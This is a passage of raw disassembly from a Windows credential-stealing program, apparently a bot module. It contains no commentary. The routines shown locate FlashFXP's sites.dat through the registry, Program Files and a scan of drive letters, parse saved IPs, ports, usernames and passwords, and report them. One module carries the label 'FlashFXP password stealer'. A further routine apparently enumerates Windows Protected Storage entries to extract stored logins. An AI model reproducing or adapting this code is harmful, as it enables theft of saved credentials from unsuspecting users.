movsx eax, byte ptr [eax] test eax, eax jnz short loc_4148B2 mov [ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3" loc_4148B2: ; CODE XREF: sub_4147E5+C4j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4148BE jmp short loc_4148C3 ; --------------------------------------------------------------------------- loc_4148BE: ; CODE XREF: sub_4147E5+D5j jmp loc_41481E ; --------------------------------------------------------------------------- loc_4148C3: ; CODE XREF: sub_4147E5+D7j mov eax, [ebp+arg_0] and byte ptr [eax], 0 push 1 pop eax locret_4148CC: ; CODE XREF: sub_4147E5+2Cj ; sub_4147E5+58j ... leave retn sub_4147E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4148CE proc near ; CODE XREF: sub_414A1E+30p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h and [ebp+var_14], 0 lea eax, [ebp+var_14] push eax push 20019h push 0 push offset aSoftwareClasse ; "SOFTWARE\\Classes\\Applications\\FlashFXP."... push 80000002h call dword_417008 ; RegOpenKeyExA mov [ebp+var_10], eax mov [ebp+var_4], 104h lea eax, [ebp+var_4] push eax push [ebp+arg_0] push 0 push 0 push 0 push [ebp+var_14] call dword_41700C ; RegQueryValueExA mov [ebp+var_10], eax push [ebp+var_14] call dword_417028 ; RegCloseKey cmp [ebp+var_10], 0 jnz short loc_414971 push offset aFlashfxp_exe1 ; "FlashFXP.exe %1" push 4 push [ebp+arg_0] call sub_407ACA add esp, 0Ch mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_414945 jmp loc_414A17 ; --------------------------------------------------------------------------- loc_414945: ; CODE XREF: sub_4148CE+70j push offset aSites_dat ; "sites.dat" push [ebp+var_18] call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_18] add eax, 0Fh push eax mov eax, [ebp+var_18] add eax, 9 push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push 1 pop eax jmp locret_414A1C ; --------------------------------------------------------------------------- loc_414971: ; CODE XREF: sub_4148CE+55j ; sub_4148CE:loc_414A17j push 104h push [ebp+arg_0] push offset aProgramfiles ; "ProgramFiles" call dword_417104 ; GetEnvironmentVariableA push offset aFlashfxpSites_ ; "\\FlashFXP\\sites.dat" push [ebp+arg_0] call sub_416B70 ; _mbscat pop ecx pop ecx push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4149B0 push 1 pop eax jmp short locret_414A1C ; --------------------------------------------------------------------------- loc_4149B0: ; CODE XREF: sub_4148CE+DBj mov eax, dword_419398 mov [ebp+var_C], eax loc_4149B8: ; CODE XREF: sub_4148CE+143j lea eax, [ebp+var_C] push eax call dword_4170CC ; GetDriveTypeA mov [ebp+var_1C], eax cmp [ebp+var_1C], 5 jz short loc_414A02 cmp [ebp+var_1C], 2 jz short loc_414A02 lea eax, [ebp+var_C] push eax push offset aSflashfxpSites ; "%sFlashFXP\\sites.dat" push [ebp+arg_0] call sub_416B5E ; sprintf add esp, 0Ch push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_414A02 push 1 pop eax jmp short locret_414A1C ; --------------------------------------------------------------------------- loc_414A02: ; CODE XREF: sub_4148CE+FBj ; sub_4148CE+101j ... mov al, byte ptr [ebp+var_C] add al, 1 mov byte ptr [ebp+var_C], al movsx eax, byte ptr [ebp+var_C] cmp eax, 5Ah jnz short loc_4149B8 xor eax, eax jmp short locret_414A1C ; --------------------------------------------------------------------------- loc_414A17: ; CODE XREF: sub_4148CE+72j jmp loc_414971 ; --------------------------------------------------------------------------- locret_414A1C: ; CODE XREF: sub_4148CE+9Ej ; sub_4148CE+E0j ... leave retn sub_4148CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414A1E proc near ; DATA XREF: sub_414EB0+35o var_5E0 = dword ptr -5E0h var_5DC = dword ptr -5DCh var_5D8 = dword ptr -5D8h var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_5CC = dword ptr -5CCh var_5C8 = dword ptr -5C8h var_5C4 = byte ptr -5C4h var_544 = byte ptr -544h var_4C4 = byte ptr -4C4h var_444 = byte ptr -444h var_3C4 = dword ptr -3C4h var_3C0 = dword ptr -3C0h var_3BC = dword ptr -3BCh var_3B8 = dword ptr -3B8h var_3B4 = byte ptr -3B4h var_334 = dword ptr -334h var_330 = byte ptr -330h var_32C = dword ptr -32Ch var_328 = byte ptr -328h var_190 = byte ptr -190h var_184 = dword ptr -184h var_180 = byte ptr -180h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5E0h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_32C] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_180] push eax call sub_4148CE pop ecx test eax, eax jnz short loc_414A6B push [ebp+var_32C] call sub_409763 pop ecx xor eax, eax jmp locret_414EAC ; --------------------------------------------------------------------------- loc_414A6B: ; CODE XREF: sub_414A1E+38j mov eax, [ebp+var_32C] push dword ptr [eax] push offset unk_41D2E0 lea eax, [ebp+var_328] push eax call sub_40D53F add esp, 0Ch and [ebp+var_184], 0 and [ebp+var_334], 0 mov al, [ebp+var_190] mov [ebp+var_330], al and [ebp+var_190], 0 push offset aRb ; "rb" lea eax, [ebp+var_180] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_3C4], eax cmp [ebp+var_3C4], 0 jnz short loc_414ACF jmp loc_414EAA ; --------------------------------------------------------------------------- loc_414ACF: ; CODE XREF: sub_414A1E+AAj push 2 push 0 push [ebp+var_3C4] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_3C4] call sub_416B76 ; ftell pop ecx mov [ebp+var_3C0], eax cmp [ebp+var_3C0], 100000h jnb short loc_414B0D mov eax, [ebp+var_3C0] mov [ebp+var_5E0], eax jmp short loc_414B17 ; --------------------------------------------------------------------------- loc_414B0D: ; CODE XREF: sub_414A1E+DFj mov [ebp+var_5E0], 100000h loc_414B17: ; CODE XREF: sub_414A1E+EDj mov eax, [ebp+var_5E0] mov [ebp+var_3C0], eax push 0 push 0 push [ebp+var_3C4] call sub_416B96 ; fseek add esp, 0Ch mov eax, [ebp+var_3C0] inc eax push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_3BC], eax cmp [ebp+var_3BC], 0 jnz short loc_414B63 push [ebp+var_3C4] call sub_416B82 ; fclose pop ecx jmp loc_414EA8 ; --------------------------------------------------------------------------- loc_414B63: ; CODE XREF: sub_414A1E+132j push [ebp+var_3C4] push [ebp+var_3C0] push 1 push [ebp+var_3BC] call sub_416B90 ; fread add esp, 10h push [ebp+var_3C4] call sub_416B82 ; fclose pop ecx mov eax, [ebp+var_3BC] add eax, [ebp+var_3C0] and byte ptr [eax], 0 mov eax, [ebp+var_3BC] mov [ebp+var_3B8], eax loc_414BA6: ; CODE XREF: sub_414A1E+428j push offset asc_41D2D8 ; "\r\n\r\n[" push [ebp+var_3B8] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5DC], eax mov eax, [ebp+var_3B8] mov [ebp+var_5D0], eax push offset aIp ; "\r\nIP=" push [ebp+var_3B8] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5C8], eax push offset aPort ; "\r\nPort=" push [ebp+var_3B8] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5D8], eax push offset aUser_0 ; "\r\nUser=" push [ebp+var_3B8] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5CC], eax push offset aPass_0 ; "\r\nPass=" push [ebp+var_3B8] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5D4], eax cmp [ebp+var_5C8], 0 jz loc_414E13 cmp [ebp+var_5DC], 0 jz short loc_414C52 mov eax, [ebp+var_5C8] cmp eax, [ebp+var_5DC] jnb loc_414E13 loc_414C52: ; CODE XREF: sub_414A1E+220j cmp [ebp+var_5D8], 0 jz loc_414E13 cmp [ebp+var_5DC], 0 jz short loc_414C7A mov eax, [ebp+var_5D8] cmp eax, [ebp+var_5DC] jnb loc_414E13 loc_414C7A: ; CODE XREF: sub_414A1E+248j cmp [ebp+var_5CC], 0 jz loc_414E13 cmp [ebp+var_5DC], 0 jz short loc_414CA2 mov eax, [ebp+var_5CC] cmp eax, [ebp+var_5DC] jnb loc_414E13 loc_414CA2: ; CODE XREF: sub_414A1E+270j cmp [ebp+var_5D4], 0 jz loc_414E13 cmp [ebp+var_5DC], 0 jz short loc_414CCA mov eax, [ebp+var_5D4] cmp eax, [ebp+var_5DC] jnb loc_414E13 loc_414CCA: ; CODE XREF: sub_414A1E+298j and [ebp+var_4C4], 0 mov al, [ebp+var_4C4] mov [ebp+var_3B4], al mov al, [ebp+var_3B4] mov [ebp+var_5C4], al mov al, [ebp+var_5C4] mov [ebp+var_444], al mov al, [ebp+var_444] mov [ebp+var_544], al lea eax, [ebp+var_544] push eax push offset asc_41D2AC ; "[%[^]]]\r\n" push [ebp+var_5D0] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp+var_444] push eax push offset aIp127s ; "\r\nIP=%127s\r\n" push [ebp+var_5C8] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp+var_5C4] push eax push offset aPort127s ; "\r\nPort=%127s\r\n" push [ebp+var_5D8] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp+var_3B4] push eax push offset aUser127s ; "\r\nUser=%127s\r\n" push [ebp+var_5CC] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp+var_4C4] push eax push offset aPass127s ; "\r\nPass=%127s\r\n" push [ebp+var_5D4] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp+var_4C4] push eax lea eax, [ebp+var_4C4] push eax call sub_4147E5 pop ecx pop ecx test eax, eax jnz short loc_414DA1 jmp loc_414E4B ; --------------------------------------------------------------------------- loc_414DA1: ; CODE XREF: sub_414A1E+37Cj mov eax, [ebp+var_334] inc eax mov [ebp+var_334], eax push 3E8h call dword_41709C ; Sleep lea eax, [ebp+var_544] push eax lea eax, [ebp+var_5C4] push eax lea eax, [ebp+var_444] push eax lea eax, [ebp+var_4C4] push eax lea eax, [ebp+var_3B4] push eax push [ebp+var_334] push offset dword_41D240 lea eax, [ebp+var_328] push eax call sub_40D53F add esp, 20h mov eax, [ebp+var_32C] cmp dword ptr [eax+4], 0 jz short loc_414E13 push [ebp+var_3BC] call sub_416B4C ; free pop ecx jmp loc_414EA6 ; --------------------------------------------------------------------------- loc_414E13: ; CODE XREF: sub_414A1E+213j ; sub_414A1E+22Ej ... mov eax, [ebp+var_184] inc eax mov [ebp+var_184], eax mov eax, [ebp+var_5DC] mov [ebp+var_3B8], eax cmp [ebp+var_3B8], 0 jnz short loc_414E37 jmp short loc_414E4B ; --------------------------------------------------------------------------- loc_414E37: ; CODE XREF: sub_414A1E+415j mov eax, [ebp+var_3B8] add eax, 4 mov [ebp+var_3B8], eax jmp loc_414BA6 ; --------------------------------------------------------------------------- loc_414E4B: ; CODE XREF: sub_414A1E+37Ej ; sub_414A1E+417j push [ebp+var_3BC] call sub_416B4C ; free pop ecx loc_414E57: ; CODE XREF: sub_414A1E:loc_414EA6j mov al, [ebp+var_330] mov [ebp+var_190], al push 3E8h call dword_41709C ; Sleep push [ebp+var_184] push [ebp+var_334] mov eax, [ebp+var_32C] push dword ptr [eax] push offset unk_41D204 lea eax, [ebp+var_328] push eax call sub_40D53F add esp, 14h loc_414E96: ; CODE XREF: sub_414A1E:loc_414EA8j ; sub_414A1E:loc_414EAAj push [ebp+var_32C] call sub_409763 pop ecx xor eax, eax jmp short locret_414EAC ; --------------------------------------------------------------------------- loc_414EA6: ; CODE XREF: sub_414A1E+3F0j jmp short loc_414E57 ; --------------------------------------------------------------------------- loc_414EA8: ; CODE XREF: sub_414A1E+140j jmp short loc_414E96 ; --------------------------------------------------------------------------- loc_414EAA: ; CODE XREF: sub_414A1E+ACj jmp short loc_414E96 ; --------------------------------------------------------------------------- locret_414EAC: ; CODE XREF: sub_414A1E+48j ; sub_414A1E+486j leave retn 4 sub_414A1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414EB0 proc near ; CODE XREF: sub_40A9CF+769p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414ECA jmp short locret_414EF2 ; --------------------------------------------------------------------------- loc_414ECA: ; CODE XREF: sub_414EB0+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aFlashfxpPasswo ; "FlashFXP password stealer" push 0 push [ebp+var_4] push offset sub_414A1E call sub_4095A4 add esp, 10h locret_414EF2: ; CODE XREF: sub_414EB0+18j leave retn sub_414EB0 endp ; =============== S U B R O U T I N E ======================================= sub_414EF4 proc near ; DATA XREF: sub_415AF0+40o mov eax, offset loc_416FDD call sub_416E10 sub esp, 0FFCh push esi push edi push 1A7h push dword ptr [ebp+8] lea eax, [ebp-0BF0h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx and dword ptr [ebp-0A00h], 0 and dword ptr [ebp-4], 0 cmp dword ptr [ebp-0A00h], 0 jz short loc_414F4C mov eax, [ebp-0A00h] mov ecx, [ebp-0A00h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_414F4C: ; CODE XREF: sub_414EF4+44j and dword ptr [ebp-0A00h], 0 push 0 push 0 push 0 lea eax, [ebp-0A00h] push eax call dword_41DE50 mov [ebp-0DF4h], eax cmp dword ptr [ebp-0DF4h], 0 jge short loc_414FB2 push dword ptr [ebp-0BF0h] call sub_409763 pop ecx and dword ptr [ebp-0FD0h], 0 or dword ptr [ebp-4], 0FFFFFFFFh cmp dword ptr [ebp-0A00h], 0 jz short loc_414FA7 mov eax, [ebp-0A00h] mov ecx, [ebp-0A00h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_414FA7: ; CODE XREF: sub_414EF4+9Fj mov eax, [ebp-0FD0h] jmp loc_415AE0 ; --------------------------------------------------------------------------- loc_414FB2: ; CODE XREF: sub_414EF4+7Fj and dword ptr [ebp-10h], 0 mov byte ptr [ebp-4], 1 cmp dword ptr [ebp-10h], 0 jz short loc_414FCC mov eax, [ebp-10h] mov ecx, [ebp-10h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_414FCC: ; CODE XREF: sub_414EF4+CAj and dword ptr [ebp-10h], 0 cmp dword ptr [ebp-0A00h], 0 jnz short loc_414FE3 push 80004003h call sub_416E40 loc_414FE3: ; CODE XREF: sub_414EF4+E3j mov eax, [ebp-0A00h] mov [ebp-0FE0h], eax lea eax, [ebp-10h] push eax push 0 push 0 mov eax, [ebp-0FE0h] mov eax, [eax] push dword ptr [ebp-0FE0h] call dword ptr [eax+38h] mov [ebp-0FDCh], eax cmp dword ptr [ebp-0FDCh], 0 jge short loc_41502D push offset dword_41D570 push dword ptr [ebp-0FE0h] push dword ptr [ebp-0FDCh] call sub_416E4E loc_41502D: ; CODE XREF: sub_414EF4+121j mov eax, [ebp-0FDCh] mov [ebp-0DF4h], eax cmp dword ptr [ebp-0DF4h], 0 jge short loc_415095 push dword ptr [ebp-0BF0h] call sub_409763 pop ecx and dword ptr [ebp-0FD4h], 0 and byte ptr [ebp-4], 0 cmp dword ptr [ebp-10h], 0 jz short loc_41506B mov eax, [ebp-10h] mov ecx, [ebp-10h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_41506B: ; CODE XREF: sub_414EF4+169j or dword ptr [ebp-4], 0FFFFFFFFh cmp dword ptr [ebp-0A00h], 0 jz short loc_41508A mov eax, [ebp-0A00h] mov ecx, [ebp-0A00h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_41508A: ; CODE XREF: sub_414EF4+182j mov eax, [ebp-0FD4h] jmp loc_415AE0 ; --------------------------------------------------------------------------- loc_415095: ; CODE XREF: sub_414EF4+14Cj mov eax, [ebp-0BF0h] push dword ptr [eax] push offset unk_41D53C lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 0Ch and dword ptr [ebp-214h], 0 mov al, [ebp-0A54h] mov [ebp-0A14h], al and byte ptr [ebp-0A54h], 0 loc_4150CB: ; CODE XREF: sub_414EF4:loc_415A54j cmp dword ptr [ebp-10h], 0 jnz short loc_4150DB push 80004003h call sub_416E40 loc_4150DB: ; CODE XREF: sub_414EF4+1DBj push 0 lea eax, [ebp-0A10h] push eax push 1 mov eax, [ebp-10h] mov [ebp-1000h], eax mov eax, [ebp-1000h] mov eax, [eax] push dword ptr [ebp-1000h] call dword ptr [eax+0Ch] test eax, eax jnz loc_415A59 mov eax, [ebp-0BF0h] cmp dword ptr [eax+4], 0 jz short loc_415119 jmp loc_415A59 ; --------------------------------------------------------------------------- loc_415119: ; CODE XREF: sub_414EF4+21Ej sub esp, 10h lea esi, [ebp-0A10h] mov edi, esp movsd movsd movsd movsd push offset asc_41D538 ; "%x" lea eax, [ebp-0A48h] push eax call dword_4171E0 ; wsprintfA add esp, 18h and dword ptr [ebp-0DF8h], 0 mov byte ptr [ebp-4], 2 cmp dword ptr [ebp-0DF8h], 0 jz short loc_415163 mov eax, [ebp-0DF8h] mov ecx, [ebp-0DF8h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415163: ; CODE XREF: sub_414EF4+25Bj and dword ptr [ebp-0DF8h], 0 cmp dword ptr [ebp-0A00h], 0 jnz short loc_41517D push 80004003h call sub_416E40 loc_41517D: ; CODE XREF: sub_414EF4+27Dj mov eax, [ebp-0A00h] mov [ebp-0FE8h], eax lea eax, [ebp-0DF8h] push eax push 0 lea eax, [ebp-0A10h] push eax push 0 mov eax, [ebp-0FE8h] mov eax, [eax] push dword ptr [ebp-0FE8h] call dword ptr [eax+3Ch] mov [ebp-0FE4h], eax cmp dword ptr [ebp-0FE4h], 0 jge short loc_4151D1 push offset dword_41D570 push dword ptr [ebp-0FE8h] push dword ptr [ebp-0FE4h] call sub_416E4E loc_4151D1: ; CODE XREF: sub_414EF4+2C5j mov eax, [ebp-0FE4h] mov [ebp-0DF4h], eax loc_4151DD: ; CODE XREF: sub_414EF4:loc_415A30j cmp dword ptr [ebp-0DF8h], 0 jnz short loc_4151F0 push 80004003h call sub_416E40 loc_4151F0: ; CODE XREF: sub_414EF4+2F0j push 0 lea eax, [ebp-0E08h] push eax push 1 mov eax, [ebp-0DF8h] mov [ebp-1004h], eax mov eax, [ebp-1004h] mov eax, [eax] push dword ptr [ebp-1004h] call dword ptr [eax+0Ch] test eax, eax jnz loc_415A35 and dword ptr [ebp-0E14h], 0 mov byte ptr [ebp-4], 3 cmp dword ptr [ebp-0E14h], 0 jz short loc_415246 mov eax, [ebp-0E14h] mov ecx, [ebp-0E14h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415246: ; CODE XREF: sub_414EF4+33Ej and dword ptr [ebp-0E14h], 0 cmp dword ptr [ebp-0A00h], 0 jnz short loc_415260 push 80004003h call sub_416E40 loc_415260: ; CODE XREF: sub_414EF4+360j mov eax, [ebp-0A00h] mov [ebp-0FF0h], eax lea eax, [ebp-0E14h] push eax push 0 lea eax, [ebp-0E08h] push eax lea eax, [ebp-0A10h] push eax push 0 mov eax, [ebp-0FF0h] mov eax, [eax] push dword ptr [ebp-0FF0h] call dword ptr [eax+54h] mov [ebp-0FECh], eax cmp dword ptr [ebp-0FECh], 0 jge short loc_4152BB push offset dword_41D570 push dword ptr [ebp-0FF0h] push dword ptr [ebp-0FECh] call sub_416E4E loc_4152BB: ; CODE XREF: sub_414EF4+3AFj mov eax, [ebp-0FECh] mov [ebp-0E10h], eax loc_4152C7: ; CODE XREF: sub_414EF4+B18j cmp dword ptr [ebp-0E14h], 0 jnz short loc_4152DA push 80004003h call sub_416E40 loc_4152DA: ; CODE XREF: sub_414EF4+3DAj push 0 lea eax, [ebp-0E0Ch] push eax push 1 mov eax, [ebp-0E14h] mov [ebp-1008h], eax mov eax, [ebp-1008h] mov eax, [eax] push dword ptr [ebp-1008h] call dword ptr [eax+0Ch] test eax, eax jnz loc_415A11 push dword ptr [ebp-0E0Ch] push offset aWs ; "%ws" lea eax, [ebp-210h] push eax call dword_4171E0 ; wsprintfA add esp, 0Ch and dword ptr [ebp-0E18h], 0 and dword ptr [ebp-0EE8h], 0 and dword ptr [ebp-0EE4h], 0 cmp dword ptr [ebp-0A00h], 0 jnz short loc_41534D push 80004003h call sub_416E40 loc_41534D: ; CODE XREF: sub_414EF4+44Dj mov eax, [ebp-0E0Ch] loc_415353: ; DATA XREF: MEW:off_419100o mov [ebp-0FFCh], eax mov eax, [ebp-0A00h] mov [ebp-0FF8h], eax push 0 push dword ptr [ebp-0EE4h] lea eax, [ebp-0EE8h] push eax lea eax, [ebp-0E18h] push eax push dword ptr [ebp-0FFCh] lea eax, [ebp-0E08h] push eax lea eax, [ebp-0A10h] push eax push 0 mov eax, [ebp-0FF8h] mov eax, [eax] push dword ptr [ebp-0FF8h] call dword ptr [eax+44h] mov [ebp-0FF4h], eax cmp dword ptr [ebp-0FF4h], 0 jge short loc_4153C7 push offset dword_41D570 push dword ptr [ebp-0FF8h] push dword ptr [ebp-0FF4h] call sub_416E4E loc_4153C7: ; CODE XREF: sub_414EF4+4BBj mov eax, [ebp-0FF4h] mov [ebp-0E10h], eax push dword ptr [ebp-0EE8h] call sub_416B40 ; strlen pop ecx mov ecx, [ebp-0E18h] dec ecx cmp eax, ecx jnb loc_415477 and dword ptr [ebp-0EECh], 0 and dword ptr [ebp-0EF0h], 0 jmp short loc_41540C ; --------------------------------------------------------------------------- loc_4153FE: ; CODE XREF: sub_414EF4+571j mov eax, [ebp-0EF0h] inc eax inc eax mov [ebp-0EF0h], eax loc_41540C: ; CODE XREF: sub_414EF4+508j mov eax, [ebp-0EF0h] cmp eax, [ebp-0E18h] jnb short loc_415467 mov eax, [ebp-0EE8h] add eax, [ebp-0EF0h] movzx eax, byte ptr [eax] test eax, eax jnz short loc_41543D mov eax, [ebp-0EECh] mov byte ptr [ebp+eax-9FCh], 2Ch jmp short loc_415458 ; --------------------------------------------------------------------------- loc_41543D: ; CODE XREF: sub_414EF4+537j mov eax, [ebp-0EE8h] add eax, [ebp-0EF0h] mov ecx, [ebp-0EECh] mov al, [eax] mov [ebp+ecx-9FCh], al loc_415458: ; CODE XREF: sub_414EF4+547j mov eax, [ebp-0EECh] inc eax mov [ebp-0EECh], eax jmp short loc_4153FE ; --------------------------------------------------------------------------- loc_415467: ; CODE XREF: sub_414EF4+524j mov eax, [ebp-0EECh] and byte ptr [ebp+eax-9FDh], 0 jmp short loc_415492 ; --------------------------------------------------------------------------- loc_415477: ; CODE XREF: sub_414EF4+4F4j push dword ptr [ebp-0EE8h] push offset dword_418B64 lea eax, [ebp-9FCh] push eax call dword_4171E0 ; wsprintfA add esp, 0Ch loc_415492: ; CODE XREF: sub_414EF4+581j push offset byte_41DE00 lea eax, [ebp-7FCh] push eax call dword_4170FC ; lstrcpy push offset byte_41DE00 lea eax, [ebp-0DF0h] push eax call dword_4170FC ; lstrcpy push offset a220d5cc1 ; "220d5cc1" lea eax, [ebp-0A48h] push eax call dword_417108 ; lstrcmp test eax, eax jnz short loc_41550C mov eax, [ebp-214h] inc eax mov [ebp-214h], eax movsx eax, byte ptr [ebp-0A57h] test eax, eax jnz short loc_41550C lea eax, [ebp-9FCh] push eax lea eax, [ebp-210h] push eax push dword ptr [ebp-214h] push offset dword_41D4E8 lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 14h loc_41550C: ; CODE XREF: sub_414EF4+5D6j ; sub_414EF4+5EEj push offset a5e7e8100 ; "5e7e8100" lea eax, [ebp-0A48h] push eax call dword_417108 ; lstrcmp test eax, eax jnz loc_4155CE push offset byte_41DE00 lea eax, [ebp-0EE0h] push eax call dword_4170FC ; lstrcpy push offset asc_4184FC ; ":" lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_415587 push offset asc_4184FC ; ":" lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx inc eax push eax lea eax, [ebp-0EE0h] push eax call dword_4170FC ; lstrcpy push offset asc_4184FC ; ":" lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx and byte ptr [eax], 0 loc_415587: ; CODE XREF: sub_414EF4+659j mov eax, [ebp-214h] inc eax mov [ebp-214h], eax push 3E8h call dword_41709C ; Sleep lea eax, [ebp-0EE0h] push eax lea eax, [ebp-9FCh] push eax lea eax, [ebp-210h] push eax push dword ptr [ebp-214h] push offset dword_41D484 lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 18h loc_4155CE: ; CODE XREF: sub_414EF4+62Cj push offset aB9819c52 ; "b9819c52" lea eax, [ebp-0A48h] push eax call dword_417108 ; lstrcmp test eax, eax jnz loc_415842 and dword ptr [ebp-0FC8h], 0 mov dword ptr [ebp-0EFCh], 1 and dword ptr [ebp-0FCCh], 0 jmp short loc_415610 ; --------------------------------------------------------------------------- loc_415602: ; CODE XREF: sub_414EF4:loc_4156CFj mov eax, [ebp-0FCCh] inc eax inc eax mov [ebp-0FCCh], eax loc_415610: ; CODE XREF: sub_414EF4+70Cj mov eax, [ebp-0FCCh] cmp eax, [ebp-0E18h] jnb loc_4156D4 mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] movzx eax, byte ptr [eax] test eax, eax jnz short loc_415652 mov eax, [ebp-0FC8h] mov byte ptr [ebp+eax-9FCh], 2Ch mov eax, [ebp-0FC8h] inc eax mov [ebp-0FC8h], eax jmp short loc_4156CF ; --------------------------------------------------------------------------- loc_415652: ; CODE XREF: sub_414EF4+73Fj mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] mov al, [eax] push eax call dword_4171DC ; IsCharAlphaNumericA test eax, eax jnz short loc_4156A7 mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] movzx eax, byte ptr [eax] cmp eax, 40h jz short loc_4156A7 mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] movzx eax, byte ptr [eax] cmp eax, 2Eh jz short loc_4156A7 mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] movzx eax, byte ptr [eax] cmp eax, 5Fh jnz short loc_4156CF loc_4156A7: ; CODE XREF: sub_414EF4+775j ; sub_414EF4+789j ... mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] mov ecx, [ebp-0FC8h] mov al, [eax] mov [ebp+ecx-9FCh], al mov eax, [ebp-0FC8h] inc eax mov [ebp-0FC8h], eax loc_4156CF: ; CODE XREF: sub_414EF4+75Cj ; sub_414EF4+7B1j jmp loc_415602 ; --------------------------------------------------------------------------- loc_4156D4: ; CODE XREF: sub_414EF4+728j mov eax, [ebp-0FC8h] and byte ptr [ebp+eax-9FDh], 0 lea eax, [ebp-9FAh] mov [ebp-0EF4h], eax and dword ptr [ebp-0EF8h], 0 jmp short loc_415704 ; --------------------------------------------------------------------------- loc_4156F7: ; CODE XREF: sub_414EF4:loc_41583Dj mov eax, [ebp-0EF8h] inc eax mov [ebp-0EF8h], eax loc_415704: ; CODE XREF: sub_414EF4+801j mov eax, [ebp-0EE8h] movzx eax, byte ptr [eax+4] cmp [ebp-0EF8h], eax jge loc_415842 mov eax, [ebp-0EF4h] inc eax push eax lea eax, [ebp-0FC4h] push eax call dword_4170FC ; lstrcpy push offset dword_41D474 lea eax, [ebp-0FC4h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_41575C push offset dword_41D474 lea eax, [ebp-0FC4h] push eax call sub_416BA8 ; strstr pop ecx pop ecx and byte ptr [eax], 0 loc_41575C: ; CODE XREF: sub_414EF4+850j push offset dword_41D474 mov eax, [ebp-0EF4h] inc eax push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_415798 push offset dword_41D474 mov eax, [ebp-0EF4h] inc eax push eax call sub_416BA8 ; strstr pop ecx pop ecx inc eax inc eax push eax lea eax, [ebp-0F60h] push eax call dword_4170FC ; lstrcpy loc_415798: ; CODE XREF: sub_414EF4+87Ej push offset dword_41D474 lea eax, [ebp-0F60h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_4157C5 push offset dword_41D474 lea eax, [ebp-0F60h] push eax call sub_416BA8 ; strstr pop ecx pop ecx and byte ptr [eax], 0 loc_4157C5: ; CODE XREF: sub_414EF4+8B9j push offset dword_41D474 mov eax, [ebp-0EF4h] inc eax push eax call sub_416BA8 ; strstr pop ecx pop ecx mov esi, eax lea eax, [ebp-0F60h] push eax call dword_41703C ; lstrlen lea eax, [esi+eax+9] mov [ebp-0EF4h], eax mov eax, [ebp-214h] inc eax mov [ebp-214h], eax push 3E8h call dword_41709C ; Sleep movsx eax, byte ptr [ebp-0A57h] test eax, eax jnz short loc_41583D lea eax, [ebp-0F60h] push eax lea eax, [ebp-0FC4h] push eax push dword ptr [ebp-214h] push offset dword_41D434 lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 14h loc_41583D: ; CODE XREF: sub_414EF4+91Fj jmp loc_4156F7 ; 